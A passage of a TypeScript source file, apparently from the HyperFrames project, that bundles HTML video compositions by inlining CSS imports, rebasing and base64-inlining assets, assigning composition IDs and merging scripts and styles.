Skip to content

Write HTML. Render video. Built for agents.

66.7 KB
Raw Blame
import { createHash } from "node:crypto";
import {
  compositionStyle,
  cssStyleMergeKey,
  deferScriptsUntilFonts,
  UNCONDITIONAL_CSS_KEY,
  headStyleRuns,
  INLINED_FILE_ATTR,
  inlineScriptRuns,
  styleElementsFor,
  type CompositionStyle,
} from "./scriptRuns";
import {
  countPageRoot,
  executableScripts,
  isJavaScriptType,
  planCompositionAssembly,
} from "./compositionAssembly";
import { SCENE_FONTS_ATTR, SCENE_PART_ATTR } from "../sceneParts";
import {
  ensureExternalScriptTag,
  readExternalScriptAttributes,
  type ExternalScriptAttributes,
} from "./externalScripts";
import { emitMountedModuleScripts, parseImportMap, type ImportMap } from "./importMaps";
import { markFlattenedInnerRoot } from "../runtime/flattenedRoot";
export { FLATTENED_INNER_ROOT_STRIP_ATTRS } from "../runtime/flattenedRoot";
import { parseHostVariableValues, warnUnknownEnumValues } from "../runtime/getVariables";
import { sanitizeCssValue } from "../runtime/applyVariableBindings";
import { cssVariableName } from "../tokenSlug";
import { AsyncLocalStorage } from "async_hooks";
import { readFileSync, existsSync, statSync } from "fs";
import { parse as parseJs } from "acorn";
import { resolve, relative, dirname, isAbsolute, sep } from "path";
import { extractStandaloneEntryFromIndex, isTemplateEntry } from "./standaloneEntry";
import {
  decodeCssEscapes,
  decodeWellFormedEscapes,
  encodeUrlPath,
  decodedUrlPath,
  splitUrlSuffix,
} from "@hyperframes/parsers/asset-paths";
import { CSS_URL_RE, isNonRelativeUrl } from "./assetPaths.js";
import { compileHtml, type MediaDurationProber } from "./htmlCompiler";
import {
  RUNTIME_BOOTSTRAP_ATTR,
  escapeInlineScriptSource,
  insertRuntimeTag,
  parseHTMLContent,
  stripEmbeddedRuntimeScripts,
} from "./htmlDocument";
// rewriteSubCompPaths functions are used by inlineSubCompositions (shared module)
import {
  buildVariablesByCompScript,
  dedupeFontFaceRules,
  hoistFontFaceRules,
  scopeCssToComposition,
  wrapInlineScriptWithErrorBoundary,
  scopedModulePrelude,
  wrapScopedCompositionScript,
} from "./compositionScoping";
import { validateHyperframeHtmlContract } from "./staticGuard";
import { getHyperframeRuntimeScript } from "../generated/runtime-inline";
import { readDeclaredDefaults } from "../runtime/getVariables";
import {
  ensureExternalLinkTag,
  inlineSubCompositions,
  refuseSwapsReachedByRootScripts,
} from "./inlineSubCompositions";
import { isSafePath, resolveWithinProject } from "../safePath.js";
import { ensureHfIds } from "@hyperframes/parsers/hf-ids";
import { HF_COLOR_GRADING_ATTR } from "../colorGrading";
import { assignMediaRenderIds } from "./mediaRenderIds";

const DEFAULT_RUNTIME_SCRIPT_URL = "";

function getRuntimeScriptUrl(): string {
  const configured = (process.env.HYPERFRAME_RUNTIME_URL || "").trim();
  return configured || DEFAULT_RUNTIME_SCRIPT_URL;
}

function injectInterceptor(html: string, runtimeMode: "inline" | "placeholder" = "inline"): string {
  const sanitized = stripEmbeddedRuntimeScripts(html);

  // Three modes for the runtime <script>:
  //   1. HYPERFRAME_RUNTIME_URL env var set → emit src="<url>" (production CDN deploy).
  //   2. runtime: "placeholder" passed         → emit src="" for the caller to substitute
  //                                              (studio + vite preview hot-load a local
  //                                              runtime endpoint via string replace).
  //   3. runtime: "inline" (default)           → embed the IIFE body directly so the
  //                                              bundle is genuinely self-contained.
  const runtimeScriptUrl = getRuntimeScriptUrl();
  let tag: string;
  if (runtimeScriptUrl) {
    const escaped = runtimeScriptUrl.replace(/"/g, "&quot;");
    tag = `<script ${RUNTIME_BOOTSTRAP_ATTR}="1" src="${escaped}"></script>`;
  } else if (runtimeMode === "placeholder") {
    tag = `<script ${RUNTIME_BOOTSTRAP_ATTR}="1" src=""></script>`;
  } else {
    const inlinedRuntime = getHyperframeRuntimeScript();
    tag = `<script ${RUNTIME_BOOTSTRAP_ATTR}="1">${inlinedRuntime}</script>`;
  }
  return insertRuntimeTag(sanitized, tag);
}

function isRelativeUrl(url: string): boolean {
  return !isNonRelativeUrl(url) && !isAbsolute(url);
}

const bundleReads = new AsyncLocalStorage<(filePath: string) => void>();

function noteRead(filePath: string): void {
  bundleReads.getStore()?.(filePath);
}

function safeReadFile(filePath: string): string | null {
  noteRead(filePath);
  if (!existsSync(filePath)) return null;
  try {
    return readFileSync(filePath, "utf-8");
  } catch {
    return null;
  }
}

const CSS_IMPORT_RE =
  /@import\s+(?:url\(\s*(["']?)([^)"']+)\1\s*\)|(["'])([^"']+)\3)\s*([^;]*);\s*/g;

const CSS_COMMENT_RE = /\/\*[\s\S]*?\*\//g;

function withCommentsStripped<T>(
  css: string,
  fn: (stripped: string) => T,
): { result: T; restore: (s: string) => string } {
  const comments: string[] = [];
  const stripped = css.replace(CSS_COMMENT_RE, (m) => {
    const idx = comments.length;
    comments.push(m);
    return `/*__hf_c${idx}__*/`;
  });
  const result = fn(stripped);
  const restore = (s: string) => {
    let out = s;
    for (let i = 0; i < comments.length; i++) {
      out = out.replace(`/*__hf_c${i}__*/`, comments[i]!);
    }
    return out;
  };
  return { result, restore };
}

function resolveRelativeUrlPath(fromDir: string, basePath: string): string {
  return resolve(fromDir, decodeWellFormedEscapes(basePath.replaceAll("\\", "/")));
}

function rebaseCssUrls(css: string, cssFileDir: string, projectDir: string): string {
  const resolvedRoot = resolve(projectDir);
  const resolvedDir = resolve(cssFileDir);
  if (resolvedDir === resolvedRoot) return css;
  return css.replace(CSS_URL_RE, (full, quote: string, urlValue: string) => {
    const decoded = decodeCssEscapes(urlValue);
    if (!decoded || !isRelativeUrl(decoded)) return full;
    const { basePath, suffix } = splitUrlSuffix(decoded);
    if (!basePath) return full;
    const absolutePath = resolveRelativeUrlPath(resolvedDir, basePath);
    const rebased = encodeUrlPath(relative(resolvedRoot, absolutePath).split(sep).join("/"));
    if (rebased === basePath) return full;
    const escapedSuffix = suffix.replace(
      /[\s\p{Cc}"'()\\<>]/gu,
      (char) => `\\${char.codePointAt(0)!.toString(16).padStart(6, "0")}`,
    );
    return `url(${quote || ""}${rebased}${escapedSuffix}${quote || ""})`;
  });
}

function rebaseRelativePath(urlValue: string, fromDir: string, toDir: string): string {
  const { basePath, suffix } = splitUrlSuffix(urlValue.trim());
  if (!basePath) return urlValue;
  const absolutePath = resolveRelativeUrlPath(fromDir, basePath);
  const rebased = encodeUrlPath(relative(resolve(toDir), absolutePath).split(sep).join("/"));
  return appendSuffixToUrl(rebased, suffix);
}

function rebaseSrcsetPaths(srcsetValue: string, fromDir: string, toDir: string): string {
  if (!srcsetValue) return srcsetValue;
  return srcsetValue
    .split(",")
    .map((rawCandidate) => {
      const candidate = rawCandidate.trim();
      if (!candidate) return candidate;
      const parts = candidate.split(/\s+/);
      const first = parts[0] ?? "";
      if (parts.length === 0 || !isRelativeUrl(first)) return candidate;
      parts[0] = rebaseRelativePath(first, fromDir, toDir);
      return parts.join(" ");
    })
    .join(", ");
}

function rebaseColorGradingLutPath(value: string, fromDir: string, toDir: string): string {
  if (!value.trim().startsWith("{")) return value;
  let parsed: unknown;
  try {
    parsed = JSON.parse(value);
  } catch {
    return value;
  }
  if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) return value;

  const lut = Reflect.get(parsed, "lut");
  if (typeof lut === "string") {
    if (!isRelativeUrl(lut)) return value;
    Reflect.set(parsed, "lut", rebaseRelativePath(lut, fromDir, toDir));
    return JSON.stringify(parsed);
  }
  if (typeof lut !== "object" || lut === null || Array.isArray(lut)) return value;
  const lutSrc = Reflect.get(lut, "src");
  if (typeof lutSrc !== "string" || !isRelativeUrl(lutSrc)) return value;
  Reflect.set(lut, "src", rebaseRelativePath(lutSrc, fromDir, toDir));
  return JSON.stringify(parsed);
}

function rebaseEntryAuthoredAssetPaths(
  document: Document,
  sourceDir: string,
  projectDir: string,
): void {
  for (const styleEl of [...document.querySelectorAll("style")]) {
    styleEl.textContent = rebaseCssUrls(styleEl.textContent || "", sourceDir, projectDir);
  }
  for (const el of [...document.querySelectorAll("[style]")]) {
    const styleAttr = el.getAttribute("style");
    if (styleAttr) el.setAttribute("style", rebaseCssUrls(styleAttr, sourceDir, projectDir));
  }
  for (const el of [...document.querySelectorAll("[src], [href], [poster], [xlink\\:href]")]) {
    if (el.tagName === "LINK" && (el.getAttribute("rel") || "").toLowerCase() === "stylesheet")
      continue;
    if (el.tagName === "SCRIPT" && el.hasAttribute("src")) continue;
    for (const attr of ["src", "href", "poster", "xlink:href"] as const) {
      const value = el.getAttribute(attr);
      if (!value || !isRelativeUrl(value)) continue;
      el.setAttribute(attr, rebaseRelativePath(value, sourceDir, projectDir));
    }
  }
  for (const el of [...document.querySelectorAll("[srcset]")]) {
    const srcset = el.getAttribute("srcset");
    if (srcset) el.setAttribute("srcset", rebaseSrcsetPaths(srcset, sourceDir, projectDir));
  }
  for (const el of [...document.querySelectorAll(`[${HF_COLOR_GRADING_ATTR}]`)]) {
    const value = el.getAttribute(HF_COLOR_GRADING_ATTR);
    if (value)
      el.setAttribute(
        HF_COLOR_GRADING_ATTR,
        rebaseColorGradingLutPath(value, sourceDir, projectDir),
      );
  }
}

function inlineCssFile(
  css: string,
  cssFileDir: string,
  projectDir: string,
  visited: Set<string> = new Set(),
): string {
  const { result: strippedCss, restore: restoreComments } = withCommentsStripped(css, (s) => s);
  const importPlaceholders: string[] = [];
  const withPlaceholders = strippedCss.replace(
    CSS_IMPORT_RE,
    (full, _q1, urlPath, _q2, barePath, mediaQuery) => {
      const importPath = urlPath ?? barePath;
      if (!importPath || !isRelativeUrl(importPath)) return full;
      const resolved = resolve(cssFileDir, decodedUrlPath(importPath));
      // @import is resolved relative to the CSS file, but must stay within the
      // project root; isSafePath also blocks symlink escapes (content is inlined).
      if (!isSafePath(projectDir, resolved)) return full;
      if (visited.has(resolved)) return "";
      const content = safeReadFile(resolved);
      if (content == null) return full;
      visited.add(resolved);
      const inlined = inlineCssFile(content, dirname(resolved), projectDir, visited);
      const trimmedMedia = (mediaQuery || "").trim();
      const block = trimmedMedia ? `@media ${trimmedMedia} {\n${inlined}\n}\n` : inlined + "\n";
      const idx = importPlaceholders.length;
      importPlaceholders.push(block);
      return `/*__hf_import_${idx}__*/`;
    },
  );
  let rebased = rebaseCssUrls(withPlaceholders, cssFileDir, projectDir);
  rebased = restoreComments(rebased);
  for (let i = 0; i < importPlaceholders.length; i++) {
    rebased = rebased.replace(`/*__hf_import_${i}__*/`, importPlaceholders[i]!);
  }
  return rebased;
}

function safeReadFileBuffer(filePath: string): Buffer | null {
  noteRead(filePath);
  if (!existsSync(filePath)) return null;
  try {
    return readFileSync(filePath);
  } catch {
    return null;
  }
}

function appendSuffixToUrl(baseUrl: string, suffix: string): string {
  if (!suffix) return baseUrl;
  if (suffix.startsWith("#")) return `${baseUrl}${suffix}`;
  if (suffix.startsWith("?")) {
    const queryWithOptionalHash = suffix.slice(1);
    if (!queryWithOptionalHash) return baseUrl;
    const hashIdx = queryWithOptionalHash.indexOf("#");
    const queryPart =
      hashIdx >= 0 ? queryWithOptionalHash.slice(0, hashIdx) : queryWithOptionalHash;
    const hashPart = hashIdx >= 0 ? queryWithOptionalHash.slice(hashIdx) : "";
    if (!queryPart) return `${baseUrl}${hashPart}`;
    const joiner = baseUrl.includes("?") ? "&" : "?";
    return `${baseUrl}${joiner}${queryPart}${hashPart}`;
  }
  return baseUrl;
}

const INLINE_MIME: Record<string, string> = {
  ".svg": "image/svg+xml",
  ".json": "application/json",
  ".txt": "text/plain",
  ".cube": "text/plain",
  ".xml": "application/xml",
  // Fonts and raster images. A bundle handed to a consumer that stores it as a
  // lone object — no sibling `assets/` directory — 404s on every surviving
  // relative reference, and a missing font silently reflows the whole frame
  // rather than failing loudly. Media (mp4/webm/mp3/wav) is deliberately absent:
  // it is large, streamed rather than laid out, and its absence is obvious.
  ".woff2": "font/woff2",
  ".woff": "font/woff",
  ".ttf": "font/ttf",
  ".otf": "font/otf",
  ".png": "image/png",
  ".jpg": "image/jpeg",
  ".jpeg": "image/jpeg",
  ".gif": "image/gif",
  ".webp": "image/webp",
  ".avif": "image/avif",
};

/**
 * Per-asset ceiling on base64 inlining.
 *
 * Base64 costs ~33% over the raw bytes, so an unbounded rule turns one careless
 * 40 MB asset into a bundle no browser should be asked to parse. 2 MiB is
 * measured against this repo's own assets rather than picked: the largest of
 * 164 tracked `.woff2` files is 105 KB (p90 75 KB) and the largest of 284
 * tracked raster images is 2.00 MB (p90 437 KB). So every font and effectively
 * every image in-tree inlines, while a video-sized file cannot.
 *
 * Oversized assets keep their project-relative URL — correct wherever the
 * bundle is served from its project directory, and warned about because that is
 * exactly where "self-contained" stops being true.
 */
const MAX_INLINE_ASSET_BYTES = 2 * 1024 * 1024;

function safeStatSize(filePath: string): number | null {
  try {
    return statSync(filePath).size;
  } catch {
    return null;
  }
}

function warnAssetTooLargeToInline(assetPath: string, byteLength: number): void {
  const mb = (byteLength / (1024 * 1024)).toFixed(1);
  console.warn(
    `[HyperFrames] Not inlining "${assetPath}" (${mb} MB exceeds the ${MAX_INLINE_ASSET_BYTES / (1024 * 1024)} MB inline limit). The bundle may not be self-contained.`,
  );
}

type AssetInliner = (urlValue: string) => string | null;
type InlinableAsset = { dataUrl: string | null } | { tooLarge: number };

/** Inlines relative asset URLs as data: URLs, reading each project file once per build. */
function createAssetInliner(
  resolveProjectPath: (relativePath: string) => string | null,
  inlineAssets: boolean,
): AssetInliner {
  const assets = new Map<string, InlinableAsset>();
  const readAsset = (filePath: string, mimeType: string): InlinableAsset => {
    // Size-check before reading: an oversized asset must not be pulled into memory
    // just to be discarded.
    const byteLength = safeStatSize(filePath);
    if (byteLength !== null && byteLength > MAX_INLINE_ASSET_BYTES) return { tooLarge: byteLength };
    const content = safeReadFileBuffer(filePath);
    return {
      dataUrl: content === null ? null : `data:${mimeType};base64,${content.toString("base64")}`,
    };
  };
  return (urlValue) => {
    if (!inlineAssets) return null;
    if (!urlValue || !isRelativeUrl(urlValue)) return null;
    const { basePath, suffix } = splitUrlSuffix(urlValue.trim());
    if (!basePath) return null;
    const filePath = resolveProjectPath(decodeWellFormedEscapes(basePath));
    if (!filePath) return null;
    const ext = filePath.toLowerCase().match(/\.[^.]+$/)?.[0] ?? "";
    const mimeType = INLINE_MIME[ext];
    if (!mimeType) return null;
    let asset = assets.get(filePath);
    if (asset === undefined) {
      asset = readAsset(filePath, mimeType);
      assets.set(filePath, asset);
    } else if ("dataUrl" in asset) {
      noteRead(filePath);
    }
    if ("tooLarge" in asset) {
      warnAssetTooLargeToInline(basePath, asset.tooLarge);
      return null;
    }
    return asset.dataUrl === null ? null : appendSuffixToUrl(asset.dataUrl, suffix);
  };
}

function isExternalSvgFragmentUse(el: Element, attr: string, urlValue: string): boolean {
  if (el.tagName.toLowerCase() !== "use") return false;
  if (attr !== "href" && attr !== "xlink:href") return false;
  if (!isRelativeUrl(urlValue)) return false;
  const hashIdx = urlValue.indexOf("#");
  if (hashIdx <= 0) return false;
  const pathBeforeFragment = urlValue.slice(0, hashIdx).split("?", 1)[0] ?? "";
  return pathBeforeFragment.toLowerCase().endsWith(".svg");
}

function warnColorGradingLutNotInlined(lutSrc: string): void {
  const trimmed = lutSrc.trim();
  if (!isRelativeUrl(trimmed)) return;
  console.warn(
    `[HyperFrames] Could not inline color grading LUT "${trimmed}". The rendered bundle may not be self-contained.`,
  );
}

// fallow-ignore-next-line complexity
function rewriteColorGradingLutWithInlinedAssets(value: string, inlineAsset: AssetInliner): string {
  if (!value.trim().startsWith("{")) return value;
  let parsed: unknown;
  try {
    parsed = JSON.parse(value);
  } catch {
    return value;
  }
  if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) return value;

  const lut = Reflect.get(parsed, "lut");
  if (typeof lut === "string") {
    // Gated by inlineAssets and inlineColorGradingLuts at the call site above;
    // this call only runs once both have already passed.
    const inlined = inlineAsset(lut);
    if (!inlined) {
      warnColorGradingLutNotInlined(lut);
      return value;
    }
    Reflect.set(parsed, "lut", inlined);
    return JSON.stringify(parsed);
  }
  if (typeof lut !== "object" || lut === null || Array.isArray(lut)) return value;
  const lutSrc = Reflect.get(lut, "src");
  if (typeof lutSrc !== "string") return value;
  const inlined = inlineAsset(lutSrc);
  if (!inlined) {
    warnColorGradingLutNotInlined(lutSrc);
    return value;
  }
  Reflect.set(lut, "src", inlined);
  return JSON.stringify(parsed);
}

function rewriteSrcsetWithInlinedAssets(srcsetValue: string, inlineAsset: AssetInliner): string {
  if (!srcsetValue) return srcsetValue;
  return srcsetValue
    .split(",")
    .map((rawCandidate) => {
      const candidate = rawCandidate.trim();
      if (!candidate) return candidate;
      const parts = candidate.split(/\s+/);
      if (parts.length === 0) return candidate;
      const maybeInlined = inlineAsset(parts[0] ?? "");
      if (maybeInlined) parts[0] = maybeInlined;
      return parts.join(" ");
    })
    .join(", ");
}

function rewriteCssUrlsWithInlinedAssets(cssText: string, inlineAsset: AssetInliner): string {
  if (!cssText) return cssText;
  return cssText.replace(
    /\burl\(\s*(["']?)([^)"']+)\1\s*\)/g,
    (_full, quote: string, rawUrl: string) => {
      const maybeInlined = inlineAsset((rawUrl || "").trim());
      if (!maybeInlined) return _full;
      return `url(${quote || ""}${maybeInlined}${quote || ""})`;
    },
  );
}

/**
 * Selectors built here are serialized inside a `<style>` element, which is a RAW
 * TEXT element: the tokenizer ends it at the first `</style` regardless of CSS
 * context, and the serializer does not escape its content. Backslash and quote
 * escaping keeps the selector's own string grammar valid; it does nothing about
 * element termination, so `<` needs the CSS hex escape too. `\3c ` is legal
 * wherever a string is, and matches the same attribute value, so selectors keep
 * matching. The trailing space terminates the escape.
 */
function cssAttributeSelector(attr: string, value: string): string {
  const escaped = value.replace(/\\/g, "\\\\").replace(/"/g, '\\"').replace(/</g, "\\3c ");
  return `[${attr}="${escaped}"]`;
}

function uniqueCompositionId(baseId: string, index: number): string {
  return `${baseId}__hf${index}`;
}

export type BundledHostCompositionIdentity = {
  authoredCompositionId: string | null;
  runtimeCompositionId: string | null;
};

function getBundledHostCompositionIdentity(host: Element): BundledHostCompositionIdentity {
  const currentCompositionId = (host.getAttribute("data-composition-id") || "").trim() || null;
  const authoredCompositionId =
    (host.getAttribute("data-hf-original-composition-id") || currentCompositionId || "").trim() ||
    null;
  return {
    authoredCompositionId,
    runtimeCompositionId: currentCompositionId,
  };
}

function getBundledTrackedCompositionHosts(document: Document): Element[] {
  const hosts = Array.from(
    document.querySelectorAll<Element>("[data-composition-src], [data-composition-id]"),
  );
  return hosts.filter((host) => {
    if (host.hasAttribute("data-composition-src")) return true;
    const authoredCompositionId = getBundledHostCompositionIdentity(host).authoredCompositionId;
    if (!authoredCompositionId) return false;
    return !!document.getElementById(`${authoredCompositionId}-template`);
  });
}

function shouldAssignBundledRuntimeCompositionId(host: Element, document: Document): boolean {
  if (host.hasAttribute("data-composition-src")) return true;
  const authoredCompositionId = getBundledHostCompositionIdentity(host).authoredCompositionId;
  if (!authoredCompositionId) return false;
  if (!document.getElementById(`${authoredCompositionId}-template`)) return false;
  return host.children.length === 0;
}

function countBundledAuthoredCompositionIds(hosts: Element[]): Map<string, number> {
  const counts = new Map<string, number>();
  for (const host of hosts) {
    const authoredCompositionId = getBundledHostCompositionIdentity(host).authoredCompositionId;
    if (!authoredCompositionId) continue;
    counts.set(authoredCompositionId, (counts.get(authoredCompositionId) || 0) + 1);
  }
  countPageRoot(counts, hosts);
  return counts;
}

// fallow-ignore-next-line complexity
export function assignBundledRuntimeCompositionIds(
  hosts: Element[],
  counts: Map<string, number> = countBundledAuthoredCompositionIds(hosts),
): Map<Element, BundledHostCompositionIdentity> {
  const instanceByCompositionId = new Map<string, number>();
  const identities = new Map<Element, BundledHostCompositionIdentity>();

  for (const host of hosts) {
    const { authoredCompositionId, runtimeCompositionId: previousRuntimeCompositionId } =
      getBundledHostCompositionIdentity(host);
    const shouldAssign = shouldAssignBundledRuntimeCompositionId(host, host.ownerDocument);
    if (!authoredCompositionId) {
      identities.set(host, {
        authoredCompositionId: null,
        runtimeCompositionId: previousRuntimeCompositionId,
      });
      continue;
    }

    const duplicateInstance = (counts.get(authoredCompositionId) || 0) > 1;
    let runtimeCompositionId = previousRuntimeCompositionId || authoredCompositionId;
    if (shouldAssign) {
      const instanceIndex = duplicateInstance
        ? (instanceByCompositionId.get(authoredCompositionId) || 0) + 1
        : 0;
      if (duplicateInstance) {
        instanceByCompositionId.set(authoredCompositionId, instanceIndex);
        host.setAttribute("data-hf-original-composition-id", authoredCompositionId);
      } else {
        host.removeAttribute("data-hf-original-composition-id");
      }

      runtimeCompositionId = duplicateInstance
        ? uniqueCompositionId(authoredCompositionId, instanceIndex)
        : authoredCompositionId;
      host.setAttribute("data-composition-id", runtimeCompositionId);
    }
    identities.set(host, {
      authoredCompositionId,
      runtimeCompositionId,
    });
  }

  return identities;
}

export function prepareFlattenedInnerRoot(innerRoot: Element): Element {
  const prepared = innerRoot.cloneNode(true) as Element;
  markFlattenedInnerRoot(prepared);
  const w = prepared.getAttribute("data-width");
  const h = prepared.getAttribute("data-height");
  const widthVal = w ? `${w}px` : "100%";
  const heightVal = h ? `${h}px` : "100%";
  const existingStyle = (prepared.getAttribute("style") || "").trim();
  const fill = `width:${widthVal};height:${heightVal}`;
  prepared.setAttribute("style", existingStyle ? `${existingStyle};${fill}` : fill);
  return prepared;
}

function enforceCompositionPixelSizing(document: Document): void {
  const compositionEls = [
    ...document.querySelectorAll("[data-composition-id][data-width][data-height]"),
  ];
  if (compositionEls.length === 0) return;
  const sizeMap = new Map<string, { w: number; h: number }>();
  for (const el of compositionEls) {
    const compId = el.getAttribute("data-composition-id");
    const w = Number(el.getAttribute("data-width"));
    const h = Number(el.getAttribute("data-height"));
    if (compId && Number.isFinite(w) && Number.isFinite(h) && w > 0 && h > 0) {
      sizeMap.set(compId, { w, h });
    }
  }
  if (sizeMap.size === 0) return;
  for (const styleEl of document.querySelectorAll("style")) {
    let css = styleEl.textContent || "";
    let modified = false;
    for (const [compId, { w, h }] of sizeMap) {
      const escaped = compId.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
      const blockRe = new RegExp(
        `(\\[data-composition-id=["']${escaped}["']\\]\\s*\\{)([^}]*)(})`,
        "g",
      );
      css = css.replace(blockRe, (_, open, body, close) => {
        const newBody = body
          .replace(/(\bwidth\s*:\s*)100%/g, `$1${w}px`)
          .replace(/(\bheight\s*:\s*)100%/g, `$1${h}px`);
        if (newBody !== body) modified = true;
        return open + newBody + close;
      });
    }
    if (modified) styleEl.textContent = css;
  }
}

function autoHealMissingCompositionIds(document: Document): void {
  const compositionIdRe = /data-composition-id=["']([^"']+)["']/gi;
  const referencedIds = new Set<string>();
  for (const el of document.querySelectorAll("style, script")) {
    const text = (el.textContent || "").trim();
    if (!text) continue;
    let match: RegExpExecArray | null;
    while ((match = compositionIdRe.exec(text)) !== null) {
      const compId = (match[1] || "").trim();
      if (compId) referencedIds.add(compId);
    }
  }
  if (referencedIds.size === 0) return;

  const existingIds = new Set<string>();
  for (const el of document.querySelectorAll("[data-composition-id]")) {
    const id = (el.getAttribute("data-composition-id") || "").trim();
    if (id) existingIds.add(id);
  }

  for (const compId of referencedIds) {
    if (compId === "root" || existingIds.has(compId)) continue;
    const candidates = [`${compId}-layer`, `${compId}-comp`, compId];
    for (const targetId of candidates) {
      const found = document.getElementById(targetId);
      if (found && !found.getAttribute("data-composition-id")) {
        found.setAttribute("data-composition-id", compId);
        break;
      }
    }
  }
}

/** Join stylesheets into one, moving every distinct `@import` to the front, where CSS allows it. */
function joinCssHoistingImports(sheets: string[]): string {
  const imports = new Set<string>();
  const cssParts: string[] = [];
  for (const sheet of sheets) {
    const rest = sheet.trim().replace(CSS_IMPORT_RE, (match) => {
      imports.add(match.trim());
      return "";
    });
    if (rest.trim()) cssParts.push(rest.trim());
  }
  return [...imports, ...cssParts].join("\n\n").trim();
}

// A render joins every head style into one sheet at the first one's place, each distinct @import first.
function placeSceneStylesLikeRender(document: Document): void {
  const styles = [...document.querySelectorAll("head style")];
  const imports = new Set<string>();
  for (const el of styles) {
    el.textContent = (el.textContent || "")
      .replace(CSS_IMPORT_RE, (match) => (imports.add(match.trim()), ""))
      .trim();
  }
  styles.slice(1).reduce((previous, el) => (previous.after(el), el), styles[0]!);
  if (imports.size === 0) return;
  const hoisted = [...imports].join("\n\n");
  const first = styles[0]!;
  if (!first.hasAttribute(SCENE_PART_ATTR)) {
    first.textContent = [hoisted, first.textContent].filter(Boolean).join("\n\n");
    return;
  }
  const holder = document.createElement("style");
  holder.textContent = hoisted;
  first.before(holder);
}

function isAlwaysAppliedStyle(el: Element): boolean {
  return cssStyleMergeKey(el) === UNCONDITIONAL_CSS_KEY && !el.closest("template, noscript, svg");
}

type PartRun<T> = { scene?: string; chunks: T[] };

function pushRun<T>(runs: PartRun<T>[], scene: string | undefined, chunk: T): void {
  const last = runs.at(-1);
  if (last && last.scene === scene) last.chunks.push(chunk);
  else runs.push({ scene, chunks: [chunk] });
}

async function coalesceHeadStylesAndBodyScripts(
  document: Document,
  provenance?: BundleOptions["scriptProvenance"],
): Promise<void> {
  const allHeadStyles = [...document.querySelectorAll("head style")];
  const isScenePart = (el: Element) => el.hasAttribute(SCENE_PART_ATTR);
  for (const run of allHeadStyles.length > 1 ? headStyleRuns(allHeadStyles, isScenePart) : []) {
    const merged = joinCssHoistingImports(run.map((el) => el.textContent || ""));
    if (!merged) continue;
    run[0]!.textContent = merged;
    for (const el of run.slice(1)) el.remove();
  }
  if (allHeadStyles.some(isScenePart)) placeSceneStylesLikeRender(document);

  const isPinned = (el: Element) =>
    el.hasAttribute(RUNTIME_BOOTSTRAP_ATTR) || el.hasAttribute(SCENE_PART_ATTR);
  for (const { members, anchor } of inlineScriptRuns(
    [...document.querySelectorAll("body script")],
    isPinned,
  )) {
    const mergedJs = joinJsChunks(members.map((el) => el.textContent || ""));
    if (mergedJs && !parsesAsScript(mergedJs)) {
      for (const el of members)
        el.textContent = await inlineScriptSource(el.textContent || "", provenance);
      continue;
    }
    for (const el of members) el.remove();
    if (!mergedJs) continue;
    const inlineScript = document.createElement("script");
    inlineScript.textContent = await inlineScriptSource(mergedJs, provenance);
    if (anchor) anchor.before(inlineScript);
    else document.body.appendChild(inlineScript);
  }
}

/**
 * Force subpixel glyph positioning so headless rendering paths
 * (chrome-headless-shell with BeginFrame) lay text out identically to full
 * Chrome. `text-rendering: auto` resolves to `optimizeSpeed` (integer glyph
 * advances) in headless-shell but `geometricPrecision` in full Chrome, which
 * shifts line-wrap points and any animation that reads measured text width.
 * Mirrors the producer's `injectTextRenderingRule` so bundled previews and
 * compiled renders stay byte-aligned. `*` has zero specificity, so authored
 * class/id rules still override.
 */
function injectTextRenderingRule(document: Document): void {
  const head = document.head;
  if (!head) return;
  if (document.querySelector("style[data-hyperframes-text-rendering]")) return;

  const styleEl = document.createElement("style");
  styleEl.setAttribute("data-hyperframes-text-rendering", "true");
  styleEl.textContent = "html,body,*{text-rendering:geometricPrecision}";
  head.insertBefore(styleEl, head.firstChild);
}

/**
 * Concatenate JS chunks safely. Goals:
 *   - Each chunk's last statement is terminated, so joining can't introduce ASI
 *     surprises (e.g. `a()` followed by `(b)()` — the second chunk would parse
 *     as a call on the first's return value).
 *   - In the common case (chunk already ends with `;` — typical of esbuild
 *     output and IIFE-wrapped composition scripts ending in `})();`), the join
 *     produces clean output: chunks separated by `\n` with no stray bare
 *     semicolon lines.
 *   - Defensive against trailing line comments. If a chunk ends with `// ...`
 *     and we appended `;` on the same line, the appended semicolon would be
 *     swallowed by the comment, leaving the next chunk's first statement
 *     attached to the previous chunk's last expression — exactly the ASI
 *     hazard this helper exists to prevent. So when a chunk doesn't already
 *     end in `;`, we append `\n;` instead — the newline closes any line
 *     comment, and the standalone `;` becomes the statement separator.
 */
function joinJsChunks(chunks: string[]): string {
  return chunks
    .map((chunk) => chunk.trim())
    .filter((chunk) => chunk.length > 0)
    .map((chunk) => (chunk.endsWith(";") ? chunk : chunk + "\n;"))
    .join("\n");
}

// acorn in script mode, not the host engine: Bun 1.3's vm.Script compiles lazily and accepts anything.
// esbuild accepts export, top-level await and return, which a <script> rejects; acorn does not.
export function parsesAsScript(source: string): boolean {
  try {
    parseJs(source, { ecmaVersion: "latest", sourceType: "script" });
    return true;
  } catch {
    return false;
  }
}

async function stripJsCommentsParserSafe(
  source: string,
  provenance?: BundleOptions["scriptProvenance"],
): Promise<string> {
  if (!source) return source;
  const { transform } = await import("esbuild");
  try {
    const result = await transform(source, {
      loader: "js",
      minify: false,
      legalComments: "none",
      ...(provenance
        ? { sourcemap: "external" as const, sourcefile: "hf-authored-bundle.js" }
        : {}),
    });
    if (provenance) {
      const sourceURL = `hf-inspect-${createHash("sha256").update(source).digest("hex")}.js`;
      provenance({ input: source, output: result.code.trim(), sourceMap: result.map, sourceURL });
      return `${result.code.trim()}\n//# sourceURL=${sourceURL}`;
    }
    return result.code.trim();
  } catch {
    return source;
  }
}

async function inlineScriptSource(
  js: string,
  provenance?: BundleOptions["scriptProvenance"],
): Promise<string> {
  return escapeInlineScriptSource(await stripJsCommentsParserSafe(js, provenance));
}

export interface BundleScriptProvenance {
  input: string;
  output: string;
  sourceMap: string;
  sourceURL?: string;
}

export interface BundleOptions {
  /** Optional source mapping for inspection; does not alter bundled HTML. */
  scriptProvenance?: (script: BundleScriptProvenance) => void;
  /** Project-relative HTML entry to bundle. Defaults to `index.html`. */
  entryFile?: string;
  stampHfIds?: boolean;
  /** Optional media duration prober (e.g., ffprobe). If omitted, media durations are not resolved. */
  probeMediaDuration?: MediaDurationProber;
  /**
   * How to handle the HyperFrames runtime <script> tag. Default: `"inline"`.
   *
   * - `"inline"` — embed the runtime IIFE body directly into the bundle. Produces
